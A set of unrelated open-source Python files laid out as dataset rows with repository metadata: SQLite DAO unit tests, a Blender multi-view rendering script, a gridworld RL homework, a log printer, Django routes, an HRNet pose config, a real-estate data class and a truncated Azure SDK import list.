create_table_indexes = {
"name_index": ["name"]
}
dao.create_table(TEST_TABLE_NAME, columns, create_table_indexes)
dao.insert_rows(TEST_TABLE_NAME, [lebron, kobe, jordan])
yield dao
# Deconstruct
SqliteDao.terminate_instance(TEST_DB_NAME)
def test_basic_table_creation(dao):
tables = dao.get_schema() # Should be empty
assert len(dao.get_schema()) == 0
create_table_columns = {
"name": "text",
"position": "text",
"age": "integer",
"height": "text"
}
dao.create_table(TEST_TABLE_NAME, create_table_columns)
tables = dao.get_schema()
assert tables[0]["name"] == TEST_TABLE_NAME
assert dao.is_table_exist(TEST_TABLE_NAME)
dao.drop_table(TEST_TABLE_NAME)
assert not dao.is_table_exist(TEST_TABLE_NAME)
def test_basic_index_creation(dao):
create_table_columns = {
"name": "text",
"position": "text",
"age": "integer",
"height": "text"
}
create_table_indexes = {
"name_index": ["name"]
}
dao.create_table(TEST_TABLE_NAME, create_table_columns, create_table_indexes)
tables = dao.get_schema()
assert tables[0]["name"] == TEST_TABLE_NAME
indexes = dao.get_schema(info="*", type="index")
assert indexes[0]["name"] == "idx_players_name_index"
assert indexes[0]["tbl_name"] == TEST_TABLE_NAME
dao.drop_table(TEST_TABLE_NAME)
assert len(dao.get_schema()) == 0
def test_multiple_index_creation(dao):
create_table_columns = {
"name": "text",
"position": "text",
"age": "integer",
"height": "text"
}
create_table_indexes = {
"name_index": ["name"],
"age_and_height_index": ["age", "height"]
}
dao.create_table(TEST_TABLE_NAME, create_table_columns, create_table_indexes)
indexes = dao.get_schema(info="*", type="index")
assert len(indexes) == 2
def test_extended_column_creation(dao):
columns = ColumnDict()
columns\
.add_column("name", "text", "PRIMARY KEY")\
.add_column("position", "text")\
.add_column("age", "integer")\
.add_column("height", "text")
create_table_indexes = {
"name_index": ["name"]
}
dao.create_table(TEST_TABLE_NAME, columns, create_table_indexes)
tables = dao.get_schema(info="*")
assert tables[0]["name"] == TEST_TABLE_NAME
assert "name text PRIMARY KEY" in tables[0]["sql"]
def test_unique_instance(dao):
duplicate_dao = SqliteDao.get_instance(TEST_DB_NAME)
assert dao is duplicate_dao
create_table_columns = {
"name": "text",
"position": "text",
"age": "integer",
"height": "text"
}
dao.create_table(TEST_TABLE_NAME, create_table_columns)
assert duplicate_dao.get_schema()[0]["name"] == TEST_TABLE_NAME
def test_regular_insert_and_search(dao):
columns = ColumnDict()
columns\
.add_column("name", "text", "PRIMARY KEY")\
.add_column("position", "text")\
.add_column("age", "integer")\
.add_column("height", "text")
create_table_indexes = {
"name_index": ["name"]
}
dao.create_table(TEST_TABLE_NAME, columns, create_table_indexes)
dao.insert_row(TEST_TABLE_NAME, lebron)
dao.insert_row("Players", kobe)
dao.insert_row("Players", jordan)
result = dao.search_table(TEST_TABLE_NAME, {"name": "LeBron James"})
assert lebron == result[0]
result = dao.search_table(TEST_TABLE_NAME, {"position": "SG"})
assert len(result) == 2
def test_batch_insert(dao):
create_table_columns = {
"name": "text",
"position": "text",
"age": "integer",
"height": "text"
}
dao.create_table(TEST_TABLE_NAME, create_table_columns)
dao.insert_rows(TEST_TABLE_NAME, [lebron, kobe, jordan])
result = dao.search_table(TEST_TABLE_NAME, {})
assert len(result) == 3
def test_advanced_search_query(xdao):
search = SearchDict().add_filter("age", 40, operator="<")
assert lebron == xdao.search_table(TEST_TABLE_NAME, search)[0]
search = SearchDict().add_filter("age", 40, operator=">")
assert len(xdao.search_table(TEST_TABLE_NAME, search, limit=1)) == 1
def test_update(xdao):
# LeBron has aged
search = SearchDict().add_filter("age", 40, operator="<")
assert xdao.search_table(TEST_TABLE_NAME, search)[0] == lebron
xdao.update_row(TEST_TABLE_NAME, {"age": 45}, {"name": "LeBron James"})
assert len(xdao.search_table(TEST_TABLE_NAME, search)) == 0
def test_batch_update(xdao):
players = xdao.search_table(TEST_TABLE_NAME, {})
update_age = [{"age": p["age"]+10} for p in players]
indexes = [{"name": p["name"]} for p in players]
xdao.update_many(TEST_TABLE_NAME, update_age, indexes)
aged_players = xdao.search_table(TEST_TABLE_NAME, {})
def test_backfill_update(xdao):
update = {"position": "PLAYER"}
xdao.update_rows(TEST_TABLE_NAME, update, {})
players = xdao.search_table(TEST_TABLE_NAME, {})
assert all(e["position"] == "PLAYER" for e in players)
def test_backfill_update_with_search_dict(xdao):
update = {"position": "PLAYER"}
search = SearchDict().add_filter("age", 40, operator="<")
xdao.update_rows(TEST_TABLE_NAME, update, search)
players = xdao.search_table(TEST_TABLE_NAME, {})
assert not all(e["position"] == "PLAYER" for e in players)
assert sum(e["position"] == "PLAYER" for e in players) == 1
def test_backfill_update_with_search(xdao):
update = {"position": "PLAYER"}
xdao.update_rows(TEST_TABLE_NAME, update, {"position": "SG"})
players = xdao.search_table(TEST_TABLE_NAME, {"position": "PLAYER"})
assert len(players) == 2
def test_delete_rows(xdao):
xdao.delete_rows(TEST_TABLE_NAME, {"name": "Michael Jordan"})
assert len(xdao.search_table(TEST_TABLE_NAME, {})) == 2
xdao.insert_row(TEST_TABLE_NAME, jordan)
xdao.delete_rows(TEST_TABLE_NAME, {})
assert len(xdao.search_table(TEST_TABLE_NAME, {})) == 0
def test_delete_rows_by_extended_search(xdao):
xdao.delete_rows(TEST_TABLE_NAME, SearchDict().add_filter("age", 40, ">"))
assert len(xdao.search_table(TEST_TABLE_NAME, {})) == 1
assert xdao.search_table(TEST_TABLE_NAME, {})[0] == lebron
def test_get_rowcount(xdao):
row_count = xdao.get_row_count(TEST_TABLE_NAME)
assert row_count == 3
def test_groupby(xdao):
groupby_positions = xdao.search_table(TEST_TABLE_NAME, {}, group_by=["position"])
assert groupby_positions[0]["position"] == "SG"
assert groupby_positions[1]["count"] == 1
def test_groupby_with_search(xdao):
search = SearchDict().add_filter("age", 40, operator=">")
groupby_positions = xdao.search_table(TEST_TABLE_NAME, search, group_by=["position"])
assert len(groupby_positions) == 1
assert groupby_positions[0]["count"] == 2
def test_groupby_with_limit(xdao):
search = SearchDict().add_filter("age", 20, operator=">")
groupby_positions = xdao.search_table(TEST_TABLE_NAME, search, group_by=["position"], limit=1)
assert len(groupby_positions) == 1
assert groupby_positions[0]["position"] == "SG"
def test_orderby(xdao):
rows = xdao.search_table(TEST_TABLE_NAME, {}, order_by=["age"])
assert rows[0]["name"] == "Michael Jordan"
assert rows[1]["name"] == "Kobe Bryant"
def test_orderby_with_limit(xdao):
rows = xdao.search_table(TEST_TABLE_NAME, {}, order_by=["age"], limit=2)
assert len(rows) == 2
assert rows[1]["name"] == "Kobe Bryant"
def test_orderby_groupby_conflict(xdao):
groupby_positions = xdao.search_table(TEST_TABLE_NAME, {}, group_by=["position"], order_by=["age"])
assert groupby_positions[0]["position"] == "SG"
assert groupby_positions[1]["count"] == 1
def test_orderby_with_search(xdao):
search = SearchDict().add_filter("age", 45, operator="<")
rows = xdao.search_table(TEST_TABLE_NAME, search, order_by=["age"])
assert len(rows) == 2
assert rows[0]["name"] == "Kobe Bryant"
rows = xdao.search_table(TEST_TABLE_NAME, search, order_by=["age"], desc=False)
assert rows[0]["name"] == "LeBron James"
def test_offset(xdao):
rows = xdao.search_table(TEST_TABLE_NAME, {}, order_by=["age"], limit=2, offset=2)
assert len(rows) == 1
assert rows[0]["name"] == "LeBron James"
def test_between_with_search(xdao):
search = SearchDict()
search.add_between("age", 35, 50)
rows = xdao.search_table(TEST_TABLE_NAME, search)
assert len(rows) == 2
search.clear()
search.add_between("age", 38, 50)
rows = xdao.search_table(TEST_TABLE_NAME, search)
assert len(rows) == 1
assert rows[0]["name"] == "Kobe Bryant"
def test_between_with_update(xdao):
search = SearchDict()
search.add_between("age", 37, 50)
update = {"age": 60}
xdao.update_rows(TEST_TABLE_NAME, update, search)
rows = xdao.search_table(TEST_TABLE_NAME, {}, order_by=["age"])
assert rows[0]["name"] == "Kobe Bryant"
assert rows[0]["age"] == 60
def test_between_with_delete(xdao):
search = SearchDict()
search.add_between("age", 37, 50)
xdao.delete_rows(TEST_TABLE_NAME, search)
rows = xdao.search_table(TEST_TABLE_NAME, {})
assert len(rows) == 2
# RIP kobe
assert not any([e["name"] == "Kobe Bryant" for e in rows])
# Go lakers
assert any([e["name"] == "LeBron James" for e in rows])
| [
"aperocky@gmail.com"
] | aperocky@gmail.com |
44305250b8ecec8bbf78999d09c2785a039dacea | 1756536c860c1228098c71621227a19f29daa857 | /pre_processing/render_blender.py | b4a2032dbf2b87b2bb1487a6b5ada77dbdeac8c2 | [] | no_license | nitthilan/neural_sparse_voxel_field | 0e9baab3f36a05adda0d365e74fad8d5e9487378 | 7da1d7b806f5a5ce8bd35a0041ecb43609e7cb2c | refs/heads/main | 2022-12-26T10:41:10.691016 | 2020-10-09T19:57:52 | 2020-10-09T19:57:52 | 302,740,778 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,583 | py | # A simple script that uses blender to render views of a single object by rotation the camera around it.
# Also produces depth map at the same time.
#
# Example:
# blender --background --python mytest.py -- --views 10 /path/to/my.obj
#
import argparse, sys, os
parser = argparse.ArgumentParser(description='Renders given obj file by rotation a camera around it.')
parser.add_argument('--views', type=int, default=30,
help='number of views to be rendered')
parser.add_argument('obj', type=str,
help='Path to the obj file to be rendered.')
parser.add_argument('--output_folder', type=str, default='/tmp',
help='The path the output will be dumped to.')
parser.add_argument('--scale', type=float, default=1,
help='Scaling factor applied to model. Depends on size of mesh.')
parser.add_argument('--remove_doubles', type=bool, default=True,
help='Remove double vertices to improve mesh quality.')
parser.add_argument('--edge_split', type=bool, default=True,
help='Adds edge split filter.')
parser.add_argument('--depth_scale', type=float, default=1.4,
help='Scaling that is applied to depth. Depends on size of mesh. Try out various values until you get a good result. Ignored if format is OPEN_EXR.')
parser.add_argument('--color_depth', type=str, default='8',
help='Number of bit per channel used for output. Either 8 or 16.')
parser.add_argument('--format', type=str, default='PNG',
help='Format of files generated. Either PNG or OPEN_EXR')
parser.add_argument('--out_tag', type=str, default='',
help='Tag to be added to output name')
parser.add_argument('--width', type=int, default=256, help='Image width')
parser.add_argument('--height', type=int, default=256, help='Image height')
parser.add_argument('--cam_x', type=float, default=0, help='Image height')
parser.add_argument('--cam_y', type=float, default=1, help='Image height')
parser.add_argument('--cam_z', type=float, default=0.6, help='Image height')
argv = sys.argv[sys.argv.index("--") + 1:]
args = parser.parse_args(argv)
import bpy
# Set up rendering of depth map.
bpy.context.scene.use_nodes = True
tree = bpy.context.scene.node_tree
links = tree.links
# Add passes for additionally dumping albedo and normals.
bpy.context.scene.render.layers["RenderLayer"].use_pass_normal = True
bpy.context.scene.render.layers["RenderLayer"].use_pass_color = True
bpy.context.scene.render.image_settings.file_format = args.format
bpy.context.scene.render.image_settings.color_depth = args.color_depth
# Clear default nodes
for n in tree.nodes:
tree.nodes.remove(n)
# Create input render layer node.
render_layers = tree.nodes.new('CompositorNodeRLayers')
depth_file_output = tree.nodes.new(type="CompositorNodeOutputFile")
depth_file_output.label = 'Depth Output'
if args.format == 'OPEN_EXR':
links.new(render_layers.outputs['Depth'], depth_file_output.inputs[0])
else:
# Remap as other types can not represent the full range of depth.
map = tree.nodes.new(type="CompositorNodeMapValue")
# Size is chosen kind of arbitrarily, try out until you're satisfied with resulting depth map.
map.offset = [-0.7]
map.size = [args.depth_scale]
map.use_min = True
map.min = [0]
links.new(render_layers.outputs['Depth'], map.inputs[0])
links.new(map.outputs[0], depth_file_output.inputs[0])
scale_normal = tree.nodes.new(type="CompositorNodeMixRGB")
scale_normal.blend_type = 'MULTIPLY'
# scale_normal.use_alpha = True
scale_normal.inputs[2].default_value = (0.5, 0.5, 0.5, 1)
links.new(render_layers.outputs['Normal'], scale_normal.inputs[1])
bias_normal = tree.nodes.new(type="CompositorNodeMixRGB")
bias_normal.blend_type = 'ADD'
# bias_normal.use_alpha = True
bias_normal.inputs[2].default_value = (0.5, 0.5, 0.5, 0)
links.new(scale_normal.outputs[0], bias_normal.inputs[1])
normal_file_output = tree.nodes.new(type="CompositorNodeOutputFile")
normal_file_output.label = 'Normal Output'
links.new(bias_normal.outputs[0], normal_file_output.inputs[0])
albedo_file_output = tree.nodes.new(type="CompositorNodeOutputFile")
albedo_file_output.label = 'Albedo Output'
links.new(render_layers.outputs['Color'], albedo_file_output.inputs[0])
# Delete default cube
bpy.data.objects['Cube'].select = True
bpy.ops.object.delete()
bpy.ops.import_scene.obj(filepath=args.obj)
for object in bpy.context.scene.objects:
if object.name in ['Camera', 'Lamp']:
continue
bpy.context.scene.objects.active = object
if args.scale != 1:
bpy.ops.transform.resize(value=(args.scale,args.scale,args.scale))
bpy.ops.object.transform_apply(scale=True)
if args.remove_doubles:
bpy.ops.object.mode_set(mode='EDIT')
bpy.ops.mesh.remove_doubles()
bpy.ops.object.mode_set(mode='OBJECT')
if args.edge_split:
bpy.ops.object.modifier_add(type='EDGE_SPLIT')
bpy.context.object.modifiers["EdgeSplit"].split_angle = 1.32645
bpy.ops.object.modifier_apply(apply_as='DATA', modifier="EdgeSplit")
# Make light just directional, disable shadows.
lamp = bpy.data.lamps['Lamp']
lamp.type = 'SUN'
lamp.shadow_method = 'NOSHADOW'
# Possibly disable specular shading:
lamp.use_specular = False
# Add another light source so stuff facing away from light is not completely dark
bpy.ops.object.lamp_add(type='SUN')
lamp2 = bpy.data.lamps['Sun']
lamp2.shadow_method = 'NOSHADOW'
lamp2.use_specular = False
lamp2.energy = 0.015
bpy.data.objects['Sun'].rotation_euler = bpy.data.objects['Lamp'].rotation_euler
bpy.data.objects['Sun'].rotation_euler[0] += 180
def parent_obj_to_camera(b_camera):
origin = (0, 0, 0)
b_empty = bpy.data.objects.new("Empty", None)
b_empty.location = origin
b_camera.parent = b_empty # setup parenting
scn = bpy.context.scene
scn.objects.link(b_empty)
scn.objects.active = b_empty
return b_empty
scene = bpy.context.scene
scene.render.resolution_x = args.width
scene.render.resolution_y = args.height
scene.render.resolution_percentage = 100
scene.render.alpha_mode = 'TRANSPARENT'
cam = scene.objects['Camera']
cam.location = (args.cam_x, args.cam_y, args.cam_z) #(0, 1, 0.6)
print("Get cam details ", dir(cam))
print("Field value ", dir(cam.field))
print("Camera value ", bpy.data.cameras[0].lens, bpy.data.cameras[0].angle*180/3.14)
cam_constraint = cam.constraints.new(type='TRACK_TO')
cam_constraint.track_axis = 'TRACK_NEGATIVE_Z'
cam_constraint.up_axis = 'UP_Y'
b_empty = parent_obj_to_camera(cam)
cam_constraint.target = b_empty
model_identifier = os.path.split(os.path.split(args.obj)[0])[1]+"_"+args.out_tag
fp = os.path.join(args.output_folder, model_identifier, model_identifier)
scene.render.image_settings.file_format = 'PNG' # set output format to .png
from math import radians
stepsize = 360.0 / args.views
rotation_mode = 'XYZ'
for output_node in [depth_file_output, normal_file_output, albedo_file_output]:
output_node.base_path = ''
for i in range(0, args.views):
print("Rotation {}, {}".format((stepsize * i), radians(stepsize * i)))
scene.render.filepath = fp + '_r_{0:03d}'.format(int(i * stepsize))
depth_file_output.file_slots[0].path = scene.render.filepath + "_depth.png"
normal_file_output.file_slots[0].path = scene.render.filepath + "_normal.png"
albedo_file_output.file_slots[0].path = scene.render.filepath + "_albedo.png"
bpy.ops.render.render(write_still=True) # render still
b_empty.rotation_euler[2] += radians(stepsize) | [
"kannappanjayakodinitthilan@steptoe-10-222-0-112.resnet.wsu.edu"
] | kannappanjayakodinitthilan@steptoe-10-222-0-112.resnet.wsu.edu |
7a02220987bd60f59bb35ce76e0b2b0fd297be7d | 174883926abfc758f87cf5b962af2e1b8f291e59 | /homework1/main_tp1_ex2.py | fb9299d9873d4ebfe1c7b3fbfcb7d294cf86c9b5 | [
"Apache-2.0"
] | permissive | saltyyyyyyy/MVA_Reinforcement_Learning | c77550ad772f6375eb0b2bda50deddeba62ef16a | 98e53113c784c333cd0ae181b78a5677997f79c2 | refs/heads/master | 2020-05-17T05:45:00.559517 | 2018-02-28T11:16:02 | 2018-02-28T11:16:02 | 183,542,811 | 1 | 0 | null | 2019-04-26T02:31:18 | 2019-04-26T02:31:18 | null | UTF-8 | Python | false | false | 3,389 | py | from gridworld import GridWorld1
import gridrender as gui
import numpy as np
import time
env = GridWorld1
################################################################################
# investigate the structure of the environment
# - env.n_states: the number of states
# - env.state2coord: converts state number to coordinates (row, col)
# - env.coord2state: converts coordinates (row, col) into state number
# - env.action_names: converts action number [0,3] into a named action
# - env.state_actions: for each state stores the action availables
# For example
# print(env.state_actions[4]) -> [1,3]
# print(env.action_names[env.state_actions[4]]) -> ['down' 'up']
# - env.gamma: discount factor
################################################################################
print(env.state2coord)
print(env.coord2state)
print(env.state_actions[4])
print(env.action_names[env.state_actions[4]])
################################################################################
# Policy definition
# If you want to represent deterministic action you can just use the number of
# the action. Recall that in the terminal states only action 0 (right) is
# defined.
# In this case, you can use gui.renderpol to visualize the policy
################################################################################
pol = [1, 2, 0, 0, 1, 1, 0, 0, 0, 0, 3]
gui.render_policy(env, pol)
################################################################################
# Try to simulate a trajectory
# you can use env.step(s,a, render=True) to visualize the transition
################################################################################
env.render = True
state = 0
fps = 1
for i in range(5):
action = np.random.choice(env.state_actions[state])
nexts, reward, term = env.step(state,action)
state = nexts
time.sleep(1./fps)
################################################################################s
# You can also visualize the q-function using render_q
################################################################################
# first get the maximum number of actions available
max_act = max(map(len, env.state_actions))
q = np.random.rand(env.n_states, max_act)
gui.render_q(env, q)
################################################################################
# Work to do: Q4
################################################################################
# here the v-function and q-function to be used for question 4
v_q4 = [0.87691855, 0.92820033, 0.98817903, 0.00000000, 0.67106071, -0.99447514, 0.00000000, -0.82847001, -0.87691855,
-0.93358351, -0.99447514]
q_q4 = [[0.87691855, 0.65706417],
[0.92820033, 0.84364237],
[0.98817903, -0.75639924, 0.89361129],
[0.00000000],
[-0.62503460, 0.67106071],
[-0.99447514, -0.70433689, 0.75620264],
[0.00000000],
[-0.82847001, 0.49505225],
[-0.87691855, -0.79703229],
[-0.93358351, -0.84424050, -0.93896668],
[-0.89268904, -0.99447514]
]
################################################################################
# Work to do: Q5
################################################################################
v_opt = [0.87691855, 0.92820033, 0.98817903, 0.00000000, 0.82369294, 0.92820033, 0.00000000, 0.77818504, 0.82369294,
0.87691855, 0.82847001]
| [
"yifanwang1993@gmail.com"
] | yifanwang1993@gmail.com |
6422479fe2f450c053b39a83b272028f915cb5d4 | 71636eb8a34f5c0a673081cbd772289ed6fc098c | /fig/cli/log_printer.py | 480fc5ebafd34fb0a785cda28b8401afe0333882 | [
"BSD-3-Clause"
] | permissive | EnTeQuAk/fig | 437a6656bd5fb53ec062e8541c6a027805f278ea | d8a2a0f0032bfc0e9e9d2d3c21074b6c1026c359 | refs/heads/master | 2021-01-22T21:44:54.297064 | 2014-01-03T12:11:26 | 2014-01-03T12:11:26 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,839 | py | import sys
from itertools import cycle
from .multiplexer import Multiplexer
from . import colors
class LogPrinter(object):
def __init__(self, containers, attach_params=None):
self.containers = containers
self.attach_params = attach_params or {}
self.generators = self._make_log_generators()
def run(self):
mux = Multiplexer(self.generators)
for line in mux.loop():
sys.stdout.write(line)
def _make_log_generators(self):
color_fns = cycle(colors.rainbow())
generators = []
for container in self.containers:
color_fn = color_fns.next()
generators.append(self._make_log_generator(container, color_fn))
return generators
def _make_log_generator(self, container, color_fn):
prefix = color_fn(container.name + " | ")
websocket = self._attach(container)
return (prefix + line for line in split_buffer(read_websocket(websocket), '\n'))
def _attach(self, container):
params = {
'stdin': False,
'stdout': True,
'stderr': True,
'logs': False,
'stream': True,
}
params.update(self.attach_params)
params = dict((name, 1 if value else 0) for (name, value) in params.items())
return container.attach_socket(params=params, ws=True)
def read_websocket(websocket):
while True:
data = websocket.recv()
if data:
yield data
else:
break
def split_buffer(reader, separator):
buffered = ''
for data in reader:
lines = (buffered + data).split(separator)
for line in lines[:-1]:
yield line + separator
if len(lines) > 1:
buffered = lines[-1]
if len(buffered) > 0:
yield buffered
| [
"aanand.prasad@gmail.com"
] | aanand.prasad@gmail.com |
73eacc404409fe4aa4eeb368ca79bd53a784ed45 | aa9ff5bb0ab43677e8d63f400123113a2c651177 | /data_types.py | 90ae6b758ccca92cd888197b4a00057faf019a0c | [] | no_license | Patch582/9-Realestate | 79e5d8884e65baff939cc3b0d9ab8696afc4f6d8 | 34e2793a06d24728adff128b253b1de0559e9aa3 | refs/heads/master | 2020-05-05T13:54:22.380578 | 2019-04-19T22:58:58 | 2019-04-19T22:58:58 | 180,098,452 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,404 | py | class Purchase:
def __init__(
self, ref, Address1, Address2, Suburb, Postcode,
State, Type, Squares, Beds, Bathrooms, Toilets, Cars, Garage,
Sale_price, Sale_date, Latitude, Longitude):
self.ref = ref,
self.Address1 = Address1,
self.Address2 = Address2,
self.Suburb = Suburb,
self.Postcode = Postcode,
self.State = State,
self.Type = Type,
self.Squares = Squares,
self.Beds = Beds,
self.Bathrooms = Bathrooms,
self.Toilets = Toilets,
self.Cars = Cars,
self.Garage = Garage,
self.Sale_price = Sale_price,
self.Sale_date = Sale_date,
self.Latitude = Latitude,
self.Longitude = Longitude
@staticmethod
def create_from_dict(lookup):
return Purchase(
int(lookup['ref']),
lookup['Address1'],
lookup['Address2'],
lookup['Suburb'],
lookup['Postcode'],
lookup['State'],
lookup['Type'],
int(lookup['Squares']),
int(lookup['Beds']),
int(lookup['Bathrooms']),
int(lookup['Toilets']),
int(lookup['Cars']),
int(lookup['Garage']),
float(lookup['Sale_price']),
lookup['Sale_date'],
lookup['Latitude'],
lookup['Longitude'])
| [
"patrickbooth582@gmail.com"
] | patrickbooth582@gmail.com |
1884d40b89067c4de28100cafde2553298116b48 | 43727669088abba6b2c9c5d629a8a686bd2d0608 | /backend/chat/api/v1/urls.py | e46c20ae7b3eaecc3f22765e9aeb1db4fc4dd3e1 | [] | no_license | crowdbotics-apps/snakeo-28158 | f8b7f590dca6847e140a8561d02860ebc9e50941 | bf40d6a2c63b2b36675301a3babdc4a743816221 | refs/heads/master | 2023-06-03T16:06:57.133922 | 2021-06-22T00:40:23 | 2021-06-22T00:40:23 | 379,098,446 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 644 | py | from django.urls import path, include
from rest_framework.routers import DefaultRouter
from .viewsets import (
MessageViewSet,
ThreadMemberViewSet,
MessageActionViewSet,
ThreadActionViewSet,
ForwardedMessageViewSet,
ThreadViewSet,
)
router = DefaultRouter()
router.register("message", MessageViewSet)
router.register("thread", ThreadViewSet)
router.register("threadaction", ThreadActionViewSet)
router.register("forwardedmessage", ForwardedMessageViewSet)
router.register("messageaction", MessageActionViewSet)
router.register("threadmember", ThreadMemberViewSet)
urlpatterns = [
path("", include(router.urls)),
]
| [
"team@crowdbotics.com"
] | team@crowdbotics.com |
148d58ec3c6599416fcb946a2c2fcf579ef268f1 | c18254794feda61bec013206b3d19a58b0565876 | /configs/wholebody/2d_kpt_sview_rgb_img/associative_embedding/coco-wholebody/hrnet_w32_coco_wholebody_512x512.py | 7d7875348179d230e8b75de15485e9c8d8193be1 | [
"Apache-2.0"
] | permissive | SummerVideoAnalysis/mmpose | eebfff87658128825c487f4037abd1c86635b86c | 70d60e03b7eaa0ae1ec66cc7a22c00916f00c9e1 | refs/heads/master | 2023-07-15T20:17:47.603214 | 2021-08-29T12:03:54 | 2021-08-29T12:03:54 | 378,733,264 | 0 | 0 | Apache-2.0 | 2021-06-20T20:22:14 | 2021-06-20T20:22:13 | null | UTF-8 | Python | false | false | 5,358 | py | log_level = 'INFO'
load_from = None
resume_from = None
dist_params = dict(backend='nccl')
workflow = [('train', 1)]
checkpoint_config = dict(interval=50)
evaluation = dict(interval=50, metric='mAP', key_indicator='AP')
optimizer = dict(
type='Adam',
lr=0.0015,
)
optimizer_config = dict(grad_clip=None)
# learning policy
lr_config = dict(
policy='step',
warmup='linear',
warmup_iters=500,
warmup_ratio=0.001,
step=[200, 260])
total_epochs = 300
log_config = dict(
interval=50,
hooks=[
dict(type='TextLoggerHook'),
# dict(type='TensorboardLoggerHook')
])
channel_cfg = dict(
num_output_channels=133,
dataset_joints=133,
dataset_channel=[
list(range(133)),
],
inference_channel=list(range(133)))
data_cfg = dict(
image_size=512,
base_size=256,
base_sigma=2,
heatmap_size=[128],
num_joints=channel_cfg['dataset_joints'],
dataset_channel=channel_cfg['dataset_channel'],
inference_channel=channel_cfg['inference_channel'],
num_scales=1,
scale_aware_sigma=False,
)
# model settings
model = dict(
type='AssociativeEmbedding',
pretrained='https://download.openmmlab.com/mmpose/'
'pretrain_models/hrnet_w32-36af842e.pth',
backbone=dict(
type='HRNet',
in_channels=3,
extra=dict(
stage1=dict(
num_modules=1,
num_branches=1,
block='BOTTLENECK',
num_blocks=(4, ),
num_channels=(64, )),
stage2=dict(
num_modules=1,
num_branches=2,
block='BASIC',
num_blocks=(4, 4),
num_channels=(32, 64)),
stage3=dict(
num_modules=4,
num_branches=3,
block='BASIC',
num_blocks=(4, 4, 4),
num_channels=(32, 64, 128)),
stage4=dict(
num_modules=3,
num_branches=4,
block='BASIC',
num_blocks=(4, 4, 4, 4),
num_channels=(32, 64, 128, 256))),
),
keypoint_head=dict(
type='AESimpleHead',
in_channels=32,
num_joints=133,
num_deconv_layers=0,
tag_per_joint=True,
with_ae_loss=[True],
extra=dict(final_conv_kernel=1, ),
loss_keypoint=dict(
type='MultiLossFactory',
num_joints=133,
num_stages=1,
ae_loss_type='exp',
with_ae_loss=[True],
push_loss_factor=[0.001],
pull_loss_factor=[0.001],
with_heatmaps_loss=[True],
heatmaps_loss_factor=[1.0],
supervise_empty=False)),
train_cfg=dict(
num_joints=channel_cfg['dataset_joints'],
img_size=data_cfg['image_size']),
test_cfg=dict(
num_joints=channel_cfg['dataset_joints'],
max_num_people=30,
scale_factor=[1],
with_heatmaps=[True],
with_ae=[True],
project2image=True,
nms_kernel=5,
nms_padding=2,
tag_per_joint=True,
detection_threshold=0.1,
tag_threshold=1,
use_detection_val=True,
ignore_too_much=False,
adjust=True,
refine=True,
flip_test=True))
train_pipeline = [
dict(type='LoadImageFromFile'),
dict(
type='BottomUpRandomAffine',
rot_factor=30,
scale_factor=[0.75, 1.5],
scale_type='short',
trans_factor=40),
dict(type='BottomUpRandomFlip', flip_prob=0.5),
dict(type='ToTensor'),
dict(
type='NormalizeTensor',
mean=[0.485, 0.456, 0.406],
std=[0.229, 0.224, 0.225]),
dict(
type='BottomUpGenerateTarget',
sigma=2,
max_num_people=30,
),
dict(
type='Collect',
keys=['img', 'joints', 'targets', 'masks'],
meta_keys=[]),
]
val_pipeline = [
dict(type='LoadImageFromFile'),
dict(type='BottomUpGetImgSize', test_scale_factor=[1]),
dict(
type='BottomUpResizeAlign',
transforms=[
dict(type='ToTensor'),
dict(
type='NormalizeTensor',
mean=[0.485, 0.456, 0.406],
std=[0.229, 0.224, 0.225]),
]),
dict(
type='Collect',
keys=['img'],
meta_keys=[
'image_file', 'aug_data', 'test_scale_factor', 'base_size',
'center', 'scale', 'flip_index'
]),
]
test_pipeline = val_pipeline
data_root = 'data/coco'
data = dict(
samples_per_gpu=24,
workers_per_gpu=2,
train=dict(
type='BottomUpCocoWholeBodyDataset',
ann_file=f'{data_root}/annotations/coco_wholebody_train_v1.0.json',
img_prefix=f'{data_root}/train2017/',
data_cfg=data_cfg,
pipeline=train_pipeline),
val=dict(
type='BottomUpCocoWholeBodyDataset',
ann_file=f'{data_root}/annotations/coco_wholebody_val_v1.0.json',
img_prefix=f'{data_root}/val2017/',
data_cfg=data_cfg,
pipeline=val_pipeline),
test=dict(
type='BottomUpCocoWholeBodyDataset',
ann_file=f'{data_root}/annotations/coco_wholebody_val_v1.0.json',
img_prefix=f'{data_root}/val2017/',
data_cfg=data_cfg,
pipeline=val_pipeline),
)
| [
"noreply@github.com"
] | SummerVideoAnalysis.noreply@github.com |
177ff0a10cf5df487328d4e6ec09a5e583492b26 | aa0270b351402e421631ebc8b51e528448302fab | /sdk/compute/azure-mgmt-compute/azure/mgmt/compute/models/__init__.py | 513cfd6be48b94d806f935fc98582bca153615d0 | [
"MIT",
"LGPL-2.1-or-later",
"LicenseRef-scancode-generic-cla"
] | permissive | fangchen0601/azure-sdk-for-python | d04a22109d0ff8ff209c82e4154b7169b6cb2e53 | c2e11d6682e368b2f062e714490d2de42e1fed36 | refs/heads/master | 2023-05-11T16:53:26.317418 | 2023-05-04T20:02:16 | 2023-05-04T20:02:16 | 300,440,803 | 0 | 0 | MIT | 2020-10-16T18:45:29 | 2020-10-01T22:27:56 | null | UTF-8 | Python | false | false | 35,516 | py | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is regenerated.
# --------------------------------------------------------------------------
from ._models import (
AdditionalUnattendContent,
ApiEntityReference,
ApiError,
ApiErrorBase,
Resource,
AvailabilitySet,
AvailabilitySetListResult,
BootDiagnostics,
BootDiagnosticsInstanceView,
ComputeLongRunningOperationProperties,
DataDisk,
DataDiskImage,
DiagnosticsProfile,
DiskEncryptionSettings,
DiskInstanceView,
HardwareProfile,
SubResource,
ImageReference,
InnerError,
InstanceViewStatus,
KeyVaultKeyReference,
KeyVaultSecretReference,
LinuxConfiguration,
ListUsagesResult,
NetworkInterfaceReference,
NetworkProfile,
OSDisk,
OSDiskImage,
OSProfile,
OperationStatusResponse,
Plan,
PurchasePlan,
Sku,
SshConfiguration,
SshPublicKey,
StorageProfile,
UpdateResource,
UpgradePolicy,
Usage,
UsageName,
VaultCertificate,
VaultSecretGroup,
VirtualHardDisk,
VirtualMachine,
VirtualMachineAgentInstanceView,
VirtualMachineCaptureParameters,
